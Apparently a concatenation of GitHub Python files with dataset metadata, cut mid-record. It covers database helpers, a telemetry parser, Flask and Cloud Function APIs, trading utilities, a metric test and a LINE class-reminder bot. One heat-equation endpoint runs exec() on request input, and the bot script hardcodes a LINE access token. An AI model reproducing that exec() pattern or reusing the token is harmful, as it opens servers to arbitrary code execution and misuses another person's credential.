statement\n            (e.g. 'SELECT game_id FROM game WHERE game_id = ?')\n        parameters (tuple): Optional parameters to inject into SQL statement\n        one (bool): Optionally return only the first result\n\n    Returns:\n        (list) Rows of query results\n\n    \"\"\"\n    connection = get_connection()\n    cursor = connection.cursor()\n\n    cursor.execute(statement, parameters)\n    if commit:\n        connection.commit()\n\n    rv = [\n        dict((cursor.description[idx][0], value) for idx, value in enumerate(row))\n        for row in cursor.fetchall()\n    ]\n\n    return (rv[0] if rv else None) if one else rv\n\n\ndef write(statement, args=(), commit=True):\n    \"\"\"\n    Writes to the database (e.g. INSERT/UPDATE)\n\n    Args:\n        statement (str): Prepared SQL statement\n            (e.g. 'INSERT INTO GAME VALUES(?, ?, ?)')\n        parameters (tuple): Optional parameters to inject into SQL statement\n        commit: Commit statement to the database. Defaults to true.\n\n    Returns:\n        (int) Last row id\n    \"\"\"\n    connection = get_connection()\n    cursor = connection.cursor()\n\n    cursor.execute(statement, args)\n    if commit:\n        connection.commit()\n\n    return cursor.lastrowid\n\n\ndef close(error=None):\n    \"\"\"\n    Closes any existing database connection\n    \"\"\"\n    global context\n    conn = context.pop(\"db\", None)\n\n    if conn is not None:\n        conn.close()\n\n    if error:\n        pass\n","repo_name":"seekely/quagen","sub_path":"src/quagen/db.py","file_name":"db.py","file_ext":"py","file_size_in_byte":3392,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"22"}
+{"seq_id":"33610296868","text":"def parse_string(string):\r\n    parameters = string.split(\",\")\r\n    num_correct = 0\r\n    try:\r\n        pressure = float(parameters[1]) #Recover the data back\r\n        num_correct = num_correct+1\r\n    except:\r\n        pressure = 0\r\n    try:\r\n        altitude = float(parameters[2])\r\n        num_correct = num_correct+1\r\n    except:\r\n        altitude = 0\r\n    try:\r\n        temperature = float(parameters[3])\r\n        num_correct = num_correct+1\r\n    except:\r\n        temperature = 0\r\n    try:\r\n        latitude = float(parameters[4])/1000000\r\n        if latitude > 20 and latitude < 100:\r\n            num_correct = num_correct+1\r\n        else:\r\n            latitude = 0\r\n            \r\n    except:\r\n        latitude = 0\r\n    try:\r\n        longitude = float(parameters[5])/-1000000\r\n        if longitude < -10 and longitude > -100:\r\n            num_correct = num_correct+1\r\n        else:\r\n            longitude = 0\r\n    except:\r\n        longitude = 0\r\n    try:\r\n        frame_num = int(parameters[6])\r\n        if frame_num < 0:\r\n            frame_num = 0\r\n    except:\r\n        frame_num = 0\r\n        \r\n    if num_correct > 0:\r\n        return pressure,altitude,temperature,latitude,longitude,frame_num\r\n    else:\r\n        return 0\r\n        \r\n    \r\n\r\n","repo_name":"radio-satellites/lab-ses-hab","sub_path":"parser/parser.py","file_name":"parser.py","file_ext":"py","file_size_in_byte":1245,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"}
+{"seq_id":"86551159","text":"# Be sure to set GOOGLE_APPLICATION_CREDENTIALS to your CLIENT_SA keyfile before running script\n# export GOOGLE_APPLICATION_CREDENTIALS=\"/Users/scohen/keys/python-client.json\"\n\nimport urllib\nimport json\nimport google\nimport requests\nimport google.auth.transport.requests\nimport google.oauth2.id_token\nimport argparse\n\nTAG_ENGINE_URL = 'https://tag-engine-eshsagj3ta-uc.a.run.app'\nCREDENTIAL_SCOPES = [\"https://www.googleapis.com/auth/cloud-platform\"] \n\n\ndef get_id_token():\n    audience = TAG_ENGINE_URL\n    auth_req = google.auth.transport.requests.Request()\n    id_token = google.oauth2.id_token.fetch_id_token(auth_req, audience)\n    return id_token\n\n\ndef get_oauth_token():\n    credentials, _ = google.auth.default(scopes=CREDENTIAL_SCOPES)\n    credentials.refresh(google.auth.transport.requests.Request())\n    return credentials.token\n  \n  \ndef read_config(id_token, oauth_token, config_uuid, config_type):\n    endpoint = TAG_ENGINE_URL + '/get_config'\n\n    auth_req = google.auth.transport.requests.Request()\n    id_token = google.oauth2.id_token.fetch_id_token(auth_req, audience=TAG_ENGINE_URL)\n    headers = {'Authorization': 'Bearer ' + id_token, 'oauth_token': oauth_token}\n    \n    payload = {\"config_uuid\": config_uuid, \"config_type\": config_type}\n    payload_json = json.dumps(payload)\n   \n    response = requests.post(endpoint, headers=headers, data=payload_json)\n    print(response.json())\n    \nif __name__ == '__main__':\n    \n    id_token = get_id_token()\n    oauth_token = get_oauth_token()\n\n    parser = argparse.ArgumentParser(description=\"Reads a config from Firestore given a config_uuid and config_type.\")\n    parser.add_argument('config_uuid', help='The config_uuid of the config to be read.')\n    parser.add_argument('config_type', help='The config_type of the config to be read.')\n    args = parser.parse_args()\n    read_config(id_token, oauth_token, args.config_uuid, args.config_type)\n\n    ","repo_name":"GoogleCloudPlatform/datacatalog-tag-engine","sub_path":"tests/scripts/read_config.py","file_name":"read_config.py","file_ext":"py","file_size_in_byte":1918,"program_lang":"python","lang":"en","doc_type":"code","stars":39,"dataset":"github-code","pt":"22"}
+{"seq_id":"38683779347","text":"from flask import send_file\nfrom heat_equation import HeatEquationSolver\nfrom zipfile import ZipFile\nimport os\nfrom os.path import basename\nfrom io import BytesIO\n\nfrom math import *\n\ndef parse_parameter(request, param):\n    request_json = request.get_json()\n    print(\"param\", param)\n    print(\"request json\", request_json)\n    if request.args and param in request.args:\n        return request.arg.get(param)\n    elif request_json and param in request_json:\n        return request_json[param]\n    else:\n        raise ValueError(f\"Body is invalid, or missing '{param}' property\")\n\ndef parse_function_parameter(request, param):\n    print(\"parse_function_parameter\")\n    request_json = request.get_json()\n    if request.args and param in request.args:\n        exec(param + \"=\" + request.args.get(param), globals())\n        # f = locals()['f']\n    elif request_json and param in request_json:\n        exec(param + \"=\"+ request_json[param], globals())\n        # f = locals()['f']\n    else:\n        raise ValueError(f\"Body is invalid, or missing '{param}' property\")\n    print(\"success with parse_function_parameter\")\n    return globals()[param]\n    \n\ndef heat_equation(request):\n    # Parse parameters\n    request_json = request.get_json()\n    \n    heat_x_0 = parse_parameter(request, 'heat_x_0')\n    heat_x_max = parse_parameter(request, 'heat_x_max')\n    alpha = parse_parameter(request, 'alpha')\n    Nx = parse_parameter(request, 'Nx')\n    x_max = parse_parameter(request, 'x_max')\n    Mt = parse_parameter(request, 'Mt')\n    t_max = parse_parameter(request, 't_max')\n    f_0 = parse_function_parameter(request, 'f_0')\n    \n    \n    # L = 1\n    # f_0 = lambda x: sin(pi*x/L)\n    # phi_0 = phi_L = 0\n    # alpha=0.1\n    \n    \n    # Run simulation\n    solver = HeatEquationSolver(f_0=f_0, \n                                heat_x_0=heat_x_0,\n                                heat_x_max=heat_x_max,\n                                alpha=alpha,\n                                Nx=Nx, x_max=x_max, \n                                Mt=Mt, t_max=t_max,\n                                save_plots=True)    \n    u_solution = solver.get_solution()\n    solver.plot_stacked(u_solution)\n    \n    # Create a ZipFile object\n    memory_file = BytesIO()\n    with ZipFile(memory_file, 'w') as zipObj:\n        for folderName, subfolders, filenames in os.walk(\"/tmp/\"):\n            for filename in filenames:\n                # Create complete filepath of file in directory\n                filePath = os.path.join(folderName, filename)\n                # Add file to zip\n                zipObj.write(filePath, basename(filePath))\n                \n    print(\"Wrote zip file with results successfully.\")\n    memory_file.seek(0)\n    print(\"about to send memory_file\")\n    return send_file(memory_file, attachment_filename='heat_equation_results.zip', as_attachment=True)\n","repo_name":"josealvarez97/Scientific-Computing","sub_path":"diffeq-cloud-functions/pde-heat-equation/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":2843,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"22"}
+{"seq_id":"19655711962","text":"# -----------------------------------------------------------------------------\n# Functions for parsing args\n# -----------------------------------------------------------------------------\nimport yaml\nimport os\nfrom ast import literal_eval\nimport copy\n\n\nclass CfgNode(dict):\n    \"\"\"\n    CfgNode represents an internal node in the configuration tree. It's a simple\n    dict-like container that allows for attribute-based access to keys.\n    \"\"\"\n\n    def __init__(self, init_dict=None, key_list=None, new_allowed=False):\n        # Recursively convert nested dictionaries in init_dict into CfgNodes\n        init_dict = {} if init_dict is None else init_dict\n        key_list = [] if key_list is None else key_list\n        for k, v in init_dict.items():\n            if type(v) is dict:\n                # Convert dict to CfgNode\n                init_dict[k] = CfgNode(v, key_list=key_list + [k])\n        super(CfgNode, self).__init__(init_dict)\n\n    def __getattr__(self, name):\n        if name in self:\n            return self[name]\n        else:\n            raise AttributeError(name)\n\n    def __setattr__(self, name, value):\n        self[name] = value\n\n    def __str__(self):\n        def _indent(s_, num_spaces):\n            s = s_.split(\"\\n\")\n            if len(s) == 1:\n                return s_\n            first = s.pop(0)\n            s = [(num_spaces * \" \") + line for line in s]\n            s = \"\\n\".join(s)\n            s = first + \"\\n\" + s\n            return s\n\n        r = \"\"\n        s = []\n        for k, v in sorted(self.items()):\n            seperator = \"\\n\" if isinstance(v, CfgNode) else \" \"\n            attr_str = \"{}:{}{}\".format(str(k), seperator, str(v))\n            attr_str = _indent(attr_str, 2)\n            s.append(attr_str)\n        r += \"\\n\".join(s)\n        return r\n\n    def __repr__(self):\n        return \"{}({})\".format(self.__class__.__name__, super(CfgNode, self).__repr__())\n\n\ndef load_cfg_from_cfg_file(file):\n    cfg = {}\n    assert os.path.isfile(file) and file.endswith('.yaml'), \\\n        '{} is not a yaml file'.format(file)\n\n    with open(file, 'r') as f:\n        cfg_from_file = yaml.safe_load(f)\n\n    for key in cfg_from_file:\n        for k, v in cfg_from_file[key].items():\n            cfg[k] = v\n\n    cfg = CfgNode(cfg)\n    return cfg\n\n\ndef merge_cfg_from_list(cfg, cfg_list):\n    new_cfg = copy.deepcopy(cfg)\n    assert len(cfg_list) % 2 == 0\n    for full_key, v in zip(cfg_list[0::2], cfg_list[1::2]):\n        subkey = full_key.split('.')[-1]\n        assert subkey in cfg, 'Non-existent key: {}'.format(full_key)\n        value = _decode_cfg_value(v)\n        value = _check_and_coerce_cfg_value_type(\n            value, cfg[subkey], subkey, full_key\n        )\n        setattr(new_cfg, subkey, value)\n\n    return new_cfg\n\n\ndef _decode_cfg_value(v):\n    \"\"\"Decodes a raw config value (e.g., from a yaml config files or command\n    line argument) into a Python object.\n    \"\"\"\n    # All remaining processing is only applied to strings\n    if not isinstance(v, str):\n        return v\n    # Try to interpret `v` as a:\n    #   string, number, tuple, list, dict, boolean, or None\n    try:\n        v = literal_eval(v)\n    # The following two excepts allow v to pass through when it represents a\n    # string.\n    #\n    # Longer explanation:\n    # The type of v is always a string (before calling literal_eval), but\n    # sometimes it *represents* a string and other times a data structure, like\n    # a list. In the case that v represents a string, what we got back from the\n    # yaml parser is 'foo' *without quotes* (so, not '\"foo\"'). literal_eval is\n    # ok with '\"foo\"', but will raise a ValueError if given 'foo'. In other\n    # cases, like paths (v = 'foo/bar' and not v = '\"foo/bar\"'), literal_eval\n    # will raise a SyntaxError.\n    except ValueError:\n        pass\n    except SyntaxError:\n        pass\n    return v\n\n\ndef _check_and_coerce_cfg_value_type(replacement, original, key, full_key):\n    \"\"\"Checks that `replacement`, which is intended to replace `original` is of\n    the right type. The type is correct if it matches exactly or is one of a few\n    cases in which the type can be easily coerced.\n    \"\"\"\n    original_type = type(original)\n    replacement_type = type(replacement)\n\n    # The types must match (with some exceptions)\n    if replacement_type == original_type:\n        return replacement\n\n    # Cast replacement from from_type to to_type if the replacement and original\n    # types match from_type and to_type\n    def conditional_cast(from_type, to_type):\n        if replacement_type == from_type and original_type == to_type:\n            return True, to_type(replacement)\n        else:\n            return False, None\n\n    # Conditionally casts\n    # list <-> tuple\n    casts = [(tuple, list), (list, tuple)]\n    # For py2: allow converting from str (bytes) to a unicode string\n    try:\n        casts.append((str, unicode))  # noqa: F821\n    except Exception:\n        pass\n\n    for (from_type, to_type) in casts:\n        converted, converted_value = conditional_cast(from_type, to_type)\n        if converted:\n            return converted_value\n\n    raise ValueError(\n        \"Type mismatch ({} vs. {}) with values ({} vs. {}) for config \"\n        \"key: {}\".format(\n            original_type, replacement_type, original, replacement, full_key\n        )\n    )\n\n\ndef _assert_with_logging(cond, msg):\n    if not cond:\n        logger.debug(msg)\n    assert cond, msg\n\n","repo_name":"hszhao/semseg","sub_path":"util/config.py","file_name":"config.py","file_ext":"py","file_size_in_byte":5425,"program_lang":"python","lang":"en","doc_type":"code","stars":1256,"dataset":"github-code","pt":"22"}
+{"seq_id":"37119267365","text":"import json\nimport os\n\nimport requests\nfrom flask import Flask, request\nfrom flask_api import status\n\nfrom flask_restful import Api, Resource\nfrom custom_flask_api import CustomFlaskApi\nfrom crawler import Crawler\nfrom classifier import Classifier\nimport tqdm\n\n\nflask_app = Flask(__name__)\napi = CustomFlaskApi(flask_app)\n\n\nclass StatusAPIView(Resource):\n    def get(self):\n        message = \"API is up and running\"\n        return {\"status\": message}, status.HTTP_200_OK\n\n\nclass KeywordAPIView(Resource):\n    def get(self):\n        keyword = request.args.get(\"keyword\", None)\n\n        if not keyword:\n            return {\n                \"message\": \"Please provide a keyword argument in query params\"\n            }, status.HTTP_400_BAD_REQUEST\n\n        crawler = Crawler()\n        image_links = crawler.get_image_links(keyword)\n        self.download_images(image_links)\n\n        predictions = Classifier.classify_image()\n        return {\"predictions\": predictions}, status.HTTP_200_OK\n\n    def download_images(self, image_links):\n        for link in image_links:\n            print(\"Downloading {}\".format(link))\n            response = requests.get(link, allow_redirects=True)\n\n            if not os.path.exists(\"images\"):\n                os.mkdir(\"images\")\n\n            if link.find(\"/\"):\n                filename = link.rsplit(\"/\", 1)[1]\n            block_size = 1024  # One 1kb\n            with open(f\"images/{filename}.jpg\", \"wb\") as f:\n                for data in response.iter_content(block_size):\n                    f.write(data)\n\n\nclass FileAPIView(Resource):\n    def post(self):\n        request_data = request.files\n        image = request_data.get(\"image\", None)\n\n        if not image:\n            return {\n                \"message\": \"Please provide image with 'image' key in request\"\n            }, status.HTTP_400_BAD_REQUEST\n\n        Classifier.save_image(image.filename, image)\n        predictions = Classifier.classify_image()\n\n        return {\"predictions\": predictions}, status.HTTP_200_OK\n\n\napi.add_resource(StatusAPIView, \"/status\")\napi.add_resource(KeywordAPIView, \"/keyword\")\napi.add_resource(FileAPIView, \"/file\")\n\nif __name__ == \"__main__\":\n    flask_app.run()\n","repo_name":"ghulam-murtazaa/redflag","sub_path":"app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":2184,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"}
+{"seq_id":"32451181247","text":"import talib, time, datetime\nfrom dateutil import parser\n\n\n#################################################################################\nimport winsound\ndef playsound(wavfile=''):\n    if BarStatus() != 2: \n        return\n    if len(wavfile) > 0:\n        winsound.PlaySound(wavfile, winsound.SND_FILENAME or winsound.SND_ASYNC)\n    else:\n        winsound.MessageBeep(winsound.MB_ICONHAND)\n        \n\n#################################################################################\n# 当前浮点时间\ndef current_tim():\n    return float(time.strftime(\"0.%H%M%S\", time.localtime()))\n\n# 返回时间节点状态，0：当前节点， 1：下一个节点，-1：历史节点\ndef node_state(tim, begin, end):\n    t = tim\n    e = end\n    if end < begin:\n        if tim < end:\n            tim += 0.24\n        end += 0.24\n\n    if begin <= tim <= end:\n        return 0\n    elif t > e:\n        return 1\n    else: # if t < e:\n        return -1\n\n# 获得当前或下一个交易时段的时间节点\n# {'begin':起始时间, 'end':结束时间, 'type':节点类型, 'enter':当前时间是否位于该时间节点中, 'state':该时段交易状态}\n# type： F当天第一个节点， M盘中的中间节点， L当天最后一个节点\ndef curr_time_node(code):\n    tim = current_tim()\n    \n    i = 0\n    nstate = -1\n    tim1 = tim2 = 0.0\n    count = GetSessionCount(code)\n    for i in range(0, count):\n        b = GetSessionStartTime(code, i)\n        e = GetSessionEndTime(code, i)\n        nstate = node_state(tim, b, e)\n        if nstate < 0:\n            break\n        tim1 = b\n        tim2 = e\n        if nstate == 0:\n            break\n\n    # 非交易时间   \n    if abs(tim1 - tim2) < 0.0000001:\n        return {'begin':-1, 'end':-1, 'type':'', 'enter':False, 'state':None}\n    # 交易时间\n    else:\n        tp = 'FL' if count == 1 else ('F' if i == 0 else ('L' if i == count - 1 else 'M'))\n        return {'begin':tim1, 'end':tim2, 'type':tp, 'enter':True if nstate == 0 else False, 'state':3}\n\n# 套利交叉时段，有可能产生两个时段，需要进一步判断当前时间属于哪个时段\n# {'begin':起始时间, 'end':结束时间, 'type':节点类型, ''enter':当前时间是否位于该时间节点中, 'state':该时段交易状态}\ndef spd_time_node(code1, code2):\n    tim = current_tim()\n    node1 = curr_time_node(code1)\n    node2 = curr_time_node(code2)\n    \n    # 两段交集\n    if  node_state(node2['begin'], node1['begin'], node1['end']) == 0 or \\\n        node_state(node2['end'], node1['begin'], node1['end']) == 0 or \\\n        node_state(node1['begin'], node2['begin'], node2['end']) == 0 or \\\n        node_state(node1['end'], node2['begin'], node2['end']) == 0:\n\n        if node_state(tim, node1['begin'], node2['end']) >= 0:\n            return {'begin':node1['begin'], 'end':node2['end'], 'type':node1['type']+node2['type'], 'enter':node1['enter'] and node2['enter'], 'state':3}\n        elif node_state(tim, node2['begin'], node1['end']) >= 0:\n            return {'begin':node2['begin'], 'end':node1['end'], 'type':node1['type']+node2['type'], 'enter':node1['enter'] and node2['enter'], 'state':3}\n        else:\n            LogError('spd_time_node get faild!')  \n            return {'begin':-1, 'end':-1, 'type':'', 'enter':False, 'state':None}\n    # 无交集或一段交集          \n    else:\n        if node1['begin'] < node1['end']:\n            node1['end'] += 0.24\n        if node2['begin'] < node2['end']:\n            node2['end'] += 0.24\n            \n        tim1 = node1['begin'] if node1['begin'] > node2['begin'] else node2['begin']\n        tim2 = node1['end'] if node1['end'] < node2['end'] else node2['end']\n        if tim2 < tim1:\n            return {'begin':-1, 'end':-1, 'type':'', 'enter':False, 'state':None}\n        else:\n            if tim2 >= 0.24:\n                tim2 -= 0.24\n            return {'begin':tim1, 'end':tim2, 'type':node1['type']+node2['type'], 'enter':node1['enter'] and node2['enter'], 'state':3}\n\n# 浮点时间转字符串时间\ndef ftime_to_stime(tim):\n    num = int(tim * 1000000)\n    return '%02d:%02d:%02d' % (num // 10000, int(num // 100) % 100, num % 100)\n\n\n#################################################################################\n# 是否达到停板价附近，回测实盘自适应\ndef is_limit(code, diff_dot):\n    if  BarStatus(code) == 2:\n        return False\n    else:\n        return Q_UpLimit(code) - Q_BidPrice(code) <= diff_dot * PriceTick() or \\\n            Q_AskPrice(code) - Q_DownLimit(code) <= diff_dot * PriceTick()\n\n# 获得买价 bid + tick，回测实盘自适应\ndef bid_price(code, outdot = 0):\n    if BarStatus(code) == 2:\n        if Q_BidPrice(code) == 0:\n            return Q_Close(code)\n        elif Q_BidPrice(code) + PriceTick() * outdot > Q_UpperLimit(code):\n            return Q_UpperLimit(code)\n        else:\n            return Q_BidPrice(code) + PriceTick(code) * outdot\n    else:\n        return Open(code)[-1]\n\n# 获得卖价 ask - tick，回测实盘自适应\ndef ask_price(code, outdot = 0):    \n    if BarStatus(code) == 2:\n        if Q_AskPrice(code) == 0:\n            return Q_Close(code)\n        elif Q_AskPrice(code) - PriceTick(code) * outdot < Q_LowLimit(code):\n            return Q_LowLimit(code)\n        else:\n            return Q_AskPrice(code) - PriceTick(code) * outdot\n    else:\n        return Open(code)[-1]\n\n# 净持仓量，回测实盘自适应\ndef net_position(code):\n    return A_TotalPosition(code) if BarStatus(code) == 2 else MarketPosition(code)\n\n# 下单操作，回测实盘自适应\ndef send_order(qty, price, direct, offset, ordertype = '2', validtype = '0', hedge = 'T', code = '', user = ''):\n    if BarStatus() == 2:\n        if code == '':\n            code = Symbol()\n        if user == '':\n            user = A_AccountID()\n        ret, msg = A_SendOrder(user, code, ordertype, validtype, direct, offset, hedge, price, qty)\n        if ret == 0:\n            return msg\n        else:\n            LogError(ret, msg)\n            return ''\n    else:\n        if direct == Enum_Buy():\n            if offset != Enum_Exit() and offset != Enum_ExitToday():\n                Buy(qty, price)\n            else:\n                BuyToCover(qty, price)\n        else:\n            if offset != Enum_Exit() and offset != Enum_ExitToday():\n                SellShort(qty, price)\n            else:\n                Sell(qty, price) \n        return '0' \n\n# 清仓，回测实盘自适应\ndef clear_position(code):\n    all_qty = A_BuyPosition(code)\n    if all_qty == 0:\n        if 'SHFE' in code:\n            day_qty = A_TodayBuyPosition(code)\n            his_qty = all_qty - day_qty\n            if day_qty > 0:\n                send_order(day_qty, bid_price(code), Enum_Sell(), Enum_ExitToday())\n            if his_qty > 0:\n                send_order(his_qty, bid_price(code), Enum_Sell(), Enum_Exit())\n        else:\n            send_order(all_qty, bid_price(code), Enum_Sell(), Enum_Exit())\n\n    all_qty = A_SellPosition(code)\n    if all_qty == 0:\n        if 'SHFE' in code:\n            day_qty = A_TodaySellPosition(code)\n            his_qty = all_qty - day_qty\n            if day_qty > 0:\n                send_order(day_qty, ask_price(code), Enum_Buy(), Enum_ExitToday())\n            if his_qty > 0:\n                send_order(his_qty, ask_price(code), Enum_Buy(), Enum_Exit())\n        else:\n            send_order(all_qty, ask_price(code), Enum_Buy(), Enum_Exit())\n\n# 净盈亏，回测实盘自适应\ndef profit(code):\n    if BarStatus(code) == 2:\n        return A_CoverProfit(code) + A_ProfitLoss(code) - A_Cost(code)\n    else:\n        return NetProfit(code) + FloatProfit(code) - TradeCost(code)\n\n","repo_name":"lmx-hub/monace-editor-exp","sub_path":"nacui.py","file_name":"nacui.py","file_ext":"py","file_size_in_byte":7631,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"}
+{"seq_id":"26976533678","text":"# pylint: disable=no-self-use,invalid-name,protected-access\nimport torch\n\nfrom allennlp.common.testing import AllenNlpTestCase\nfrom allennlp.training.metrics import MeanAbsoluteError\n\n\nclass MeanAbsoluteErrorTest(AllenNlpTestCase):\n    def test_mean_absolute_error_computation(self):\n        mae = MeanAbsoluteError()\n        predictions = torch.Tensor([[1.0, 1.5, 1.0],\n                                    [2.0, 3.0, 3.5],\n                                    [4.0, 5.0, 5.5],\n                                    [6.0, 7.0, 7.5]])\n        targets = torch.Tensor([[0.0, 1.0, 0.0],\n                                [2.0, 2.0, 0.0],\n                                [4.0, 5.0, 0.0],\n                                [7.0, 7.0, 0.0]])\n        mae(predictions, targets)\n        assert mae.get_metric() == 21.0 / 12.0\n\n        mask = torch.Tensor([[1.0, 1.0, 0.0],\n                             [1.0, 1.0, 0.0],\n                             [1.0, 1.0, 0.0],\n                             [1.0, 1.0, 0.0]])\n        mae(predictions, targets, mask)\n        assert mae.get_metric() == (21.0 + 3.5) / (12.0 + 8.0)\n\n        new_targets = torch.Tensor([[2.0, 2.0, 0.0],\n                                    [0.0, 1.0, 0.0],\n                                    [7.0, 7.0, 0.0],\n                                    [4.0, 5.0, 0.0]])\n        mae(predictions, new_targets)\n        assert mae.get_metric() == (21.0 + 3.5 + 32.0) / (12.0 + 8.0 + 12.0)\n\n        mae.reset()\n        mae(predictions, new_targets)\n        assert mae.get_metric() == 32.0 / 12.0\n","repo_name":"dair-iitd/openie6","sub_path":"imojie/allennlp/allennlp/tests/training/metrics/mean_absolute_error_test.py","file_name":"mean_absolute_error_test.py","file_ext":"py","file_size_in_byte":1533,"program_lang":"python","lang":"en","doc_type":"code","stars":113,"dataset":"github-code","pt":"22"}
+{"seq_id":"34336529701","text":"import requests\r\nimport schedule\r\nimport time\r\n\r\nurl = 'https://notify-api.line.me/api/notify'\r\ntoken = 'KoqfUXrKaXMdaoRJARykIWCByiuk1kacYk0Wc0sm1CZ'\r\nheaders = {'content-type':'application/x-www-form-urlencoded','Authorization':'Bearer '+token}\r\n\r\ndef thaisavethai():\r\n    msg = 'ประเมินไทยเซฟไทย: https://savethai.anamai.moph.go.th/home_user.php'\r\n    r = requests.post(url, headers=headers, data = {'message':msg})\r\n    print (r.text)\r\n\r\ndef homeroom_2():\r\n    msg = 'โฮมรูม3/1: https://meet.google.com/ykk-xxnm-bxa?authuser=0'\r\n    r = requests.post(url, headers=headers, data = {'message':msg})\r\n    print (r.text)\r\n\r\ndef homeroom():\r\n    msg = 'โฮมรูมห้องC: https://meet.google.com/kro-atfm-qqn?authuser=0'\r\n    r = requests.post(url, headers=headers, data = {'message':msg})\r\n    print (r.text)\r\n\r\ndef thai():\r\n    msg = 'ภาษาไทย: https://meet.google.com/ees-nmdo-doz?authuser=0'\r\n    r = requests.post(url, headers=headers, data = {'message':msg})\r\n    print (r.text)\r\n\r\ndef math_01():\r\n    msg = 'จำนวนและพีชคณิต: https://meet.google.com/zop-oxmh-jjv?authuser=0 '\r\n    r = requests.post(url, headers=headers, data = {'message':msg})\r\n    print (r.text)\r\n\r\ndef eng_teacher():\r\n    msg = 'อังกฤษท่องเที่ยว teacher: https://meet.google.com/rjo-yhuz-zhf?authuser=0 '\r\n    r = requests.post(url, headers=headers, data = {'message':msg})\r\n    print (r.text)\r\n\r\ndef sci():\r\n    msg = 'วิทยาศาสตร์: https://meet.google.com/pwx-mgxh-xgv?authuser=0 '\r\n    r = requests.post(url, headers=headers, data = {'message':msg})\r\n    print (r.text)\r\n\r\ndef internet():\r\n    msg = 'อินเทอร์เน็ต: https://meet.google.com/tgy-bcbr-ahi?authuser=0 '\r\n    r = requests.post(url, headers=headers, data = {'message':msg})\r\n    print (r.text)\r\n\r\ndef HSK():\r\n    msg = 'ติวHSK: https://meet.google.com/hdh-vnni-rno?authuser=0 '\r\n    r = requests.post(url, headers=headers, data = {'message':msg})\r\n    print (r.text)\r\n\r\ndef SOC():\r\n    msg = 'สังคมศึกษา: https://meet.google.com/guk-cnqn-abm?authuser=0'\r\n    r = requests.post(url, headers=headers, data = {'message':msg})\r\n    print (r.text)\r\n\r\ndef free():\r\n    msg = 'คาบว่างๆๆๆ'\r\n    r = requests.post(url, headers=headers, data = {'message':msg})\r\n    print (r.text)\r\n\r\ndef PE():\r\n    msg = 'พละ: https://meet.google.com/iwz-axie-qyx?authuser=0 '\r\n    r = requests.post(url, headers=headers, data = {'message':msg})\r\n    print (r.text)\r\n\r\ndef Sub():\r\n    msg = 'ชมรม: ---'\r\n    r = requests.post(url, headers=headers, data = {'message':msg})\r\n    print (r.text)\r\n\r\ndef Art():\r\n    msg = 'ศิลปะ: https://meet.google.com/uas-yaqr-kkc?authuser=0'\r\n    r = requests.post(url, headers=headers, data = {'message':msg})\r\n    print (r.text)\r\n\r\ndef math_02():\r\n    msg = 'เรขาคณิตและสถิติ: https://meet.google.com/wwj-fwoe-wgd?authuser=0'\r\n    r = requests.post(url, headers=headers, data = {'message':msg})\r\n    print (r.text)\r\n\r\ndef design():\r\n    msg = 'ออกแบบ: https://meet.google.com/xbd-vtcc-dec?authuser=0'\r\n    r = requests.post(url, headers=headers, data = {'message':msg})\r\n    print (r.text)\r\n\r\ndef CHN():\r\n    msg = 'ภาษาจีน: https://meet.google.com/hdh-vnni-rno?authuser=0 '\r\n    r = requests.post(url, headers=headers, data = {'message':msg})\r\n    print (r.text)\r\n\r\ndef eng():\r\n    msg = 'อังกฤษ: https://meet.google.com/ieq-dgkq-fpb?authuser=0'\r\n    r = requests.post(url, headers=headers, data = {'message':msg})\r\n    print (r.text)\r\n\r\ndef h_work():\r\n    msg = 'การงาน: https://meet.google.com/yft-vksg-thn?authuser=0'\r\n    r = requests.post(url, headers=headers, data = {'message':msg})\r\n    print (r.text)\r\n\r\ndef PE_02():\r\n    msg = 'สุขศึกษา: https://meet.google.com/eep-xtew-ruk?authuser=0'\r\n    r = requests.post(url, headers=headers, data = {'message':msg})\r\n    print (r.text)\r\n\r\ndef history():\r\n    msg = 'ประวัติ: https://meet.google.com/yrq-tjbh-itd?authuser=0'\r\n    r = requests.post(url, headers=headers, data = {'message':msg})\r\n    print (r.text)\r\n\r\ndef info():\r\n    msg = 'แนะแนว: https://meet.google.com/fpt-qmmu-zfy?authuser=0'\r\n    r = requests.post(url, headers=headers, data = {'message':msg})\r\n    print (r.text)\r\n\r\n\r\n#monday\r\nschedule.every().monday.at(\"06:30\").do(thaisavethai)\r\nschedule.every().monday.at(\"07:45\").do(homeroom_2)\r\nschedule.every().monday.at(\"07:55\").do(thai)\r\nschedule.every().monday.at(\"08:55\").do(math_01)\r\nschedule.every().monday.at(\"09:55\").do(eng_teacher)\r\nschedule.every().monday.at(\"10:55\").do(sci)\r\nschedule.every().monday.at(\"12:55\").do(internet)\r\nschedule.every().monday.at(\"13:55\").do(HSK)\r\n\r\n#tuesday\r\nschedule.every().tuesday.at(\"06:30\").do(thaisavethai)\r\nschedule.every().tuesday.at(\"07:45\").do(homeroom)\r\nschedule.every().tuesday.at(\"07:55\").do(math_01)\r\nschedule.every().tuesday.at(\"08:55\").do(SOC)\r\nschedule.every().tuesday.at(\"09:55\").do(sci)\r\nschedule.every().tuesday.at(\"10:55\").do(free)\r\nschedule.every().tuesday.at(\"12:55\").do(PE)\r\nschedule.every().tuesday.at(\"13:55\").do(Sub)\r\n\r\n#wednesday\r\nschedule.every().wednesday.at(\"06:30\").do(thaisavethai)\r\nschedule.every().wednesday.at(\"07:45\").do(homeroom_2)\r\nschedule.every().wednesday.at(\"07:55\").do(Art)\r\nschedule.every().wednesday.at(\"08:55\").do(math_02)\r\nschedule.every().wednesday.at(\"09:55\").do(design)\r\nschedule.every().wednesday.at(\"10:55\").do(CHN)\r\nschedule.every().wednesday.at(\"12:55\").do(eng_teacher)\r\n\r\n#thursday\r\nschedule.every().thursday.at(\"06:30\").do(thaisavethai)\r\nschedule.every().thursday.at(\"07:45\").do(homeroom)\r\nschedule.every().thursday.at(\"07:55\").do(eng)\r\nschedule.every().thursday.at(\"08:55\").do(math_01)\r\nschedule.every().thursday.at(\"09:55\").do(thai)\r\nschedule.every().thursday.at(\"10:55\").do(h_work)\r\nschedule.every().thursday.at(\"12:55\").do(SOC)\r\n\r\n#friday\r\nschedule.every().friday.at(\"06:30\").do(thaisa